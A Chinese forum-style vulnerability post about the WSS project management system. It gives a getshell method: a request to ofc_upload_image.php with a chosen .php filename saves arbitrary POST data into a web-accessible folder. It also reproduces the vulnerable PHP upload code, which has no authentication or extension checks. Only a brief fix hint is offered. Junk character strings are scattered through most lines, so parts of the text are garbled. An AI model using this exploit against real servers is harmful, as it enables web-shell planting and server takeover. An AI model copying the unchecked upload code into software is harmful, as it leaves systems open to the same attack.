WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
' z! _+ Y4 u, f$ F. v& R6 c 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

# T/ E$ g( G# h5 w+ z! i0 JPost任意数据
  t* S4 t8 B# ?6 S3 y: D保存位置http://localhost/chart/tmp-upload-images/hfy.php
7 D/ h6 f( g, o, [2 q2 c. h& W& Z
4 b/ J% W, i5 p# G- Z! D, U
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

3 Y7 A- y6 ]3 b4 b) x<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
) d% _; H" A9 u//

+ U9 I4 c' f* e$ y( k( k/*
0 `1 u( x: T  u
: e- R9 u) b" E& a. p/ a: Cprint_r( $_GET );
/ [  m. Z6 _1 bprint_r( $_POST );
print_r( $_FILES );
; t% K: T; Y1 X- o
* y4 G4 B- G9 Uprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

7 I. D$ k& A4 c2 w/ p! y6 ]*/
+ e$ f5 N! ?! L5 i// default path for the image to be stored //
: B+ ]& c4 w/ Y0 P5 g$default_path = '../tmp-upload-images/';
' m9 s# ?& P& B6 y0 B
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
& l  p2 `8 M! H, Q5 E3 x  m$destination = $default_path . basename( $_GET[ 'name' ] );
% B2 m8 |9 M5 A# _. W7 ]. ^
echo 'Saving your image to: '. $destination;
' J* R4 C0 ^. Z# ~  u: l" m// print_r( $_POST );
// print_r( $_SERVER );
2 n4 @1 W" n% w( }/ C// echo $HTTP_RAW_POST_DATA;
; }9 U' D" ^" J; l6 e0 Z- b
//
// POST data is usually string data, but we are passing a RAW .png
3 A9 T9 p! Y. g0 L// so PHP is a bit confused and $_POST is empty. But it has saved
1 p0 ], M( {# t8 J5 f5 R7 u// the raw bits into $HTTP_RAW_POST_DATA
$ w5 |& [" j7 N5 k5 H" i& {& I//

! e8 }, S  \4 J: x$ ]$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
6 c- W# E# J8 C1 {$ o! O* H+ z
//
: y$ ~+ g. b: {4 y// LOOK:
//
$ n6 I4 P" z9 O3 M$ S+ Texit();
+ n& V6 B( ]. N5 {: D: u//
// PHP5:
) N' ?: T# v5 }9 \+ B3 y( j5 \9 C9 W//

8 F5 B( s, b1 a5 |
# L8 _. Z3 W# C* S: o" Q// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
, r2 T* e7 p1 W+ v2 p& {
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}
( l7 Y) G' c! u$ c, H4 k5 w3 V: g

?>

  c* e5 w$ `, g6 T8 B7 C6 t/ ]; L4 p* p& |
& h: P: l. p; v


; D# j3 u0 }  ]; _1 |+ f- ?: n
" k2 L; ~! y, W* Y; n修复方案：
5 O1 j2 c: `- J8 W这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
0 d: j) O7 t3 y: x% v


9 I& @3 k  @, b9 I, ^# }+ N
7 N/ Z$ i$ S3 U9 A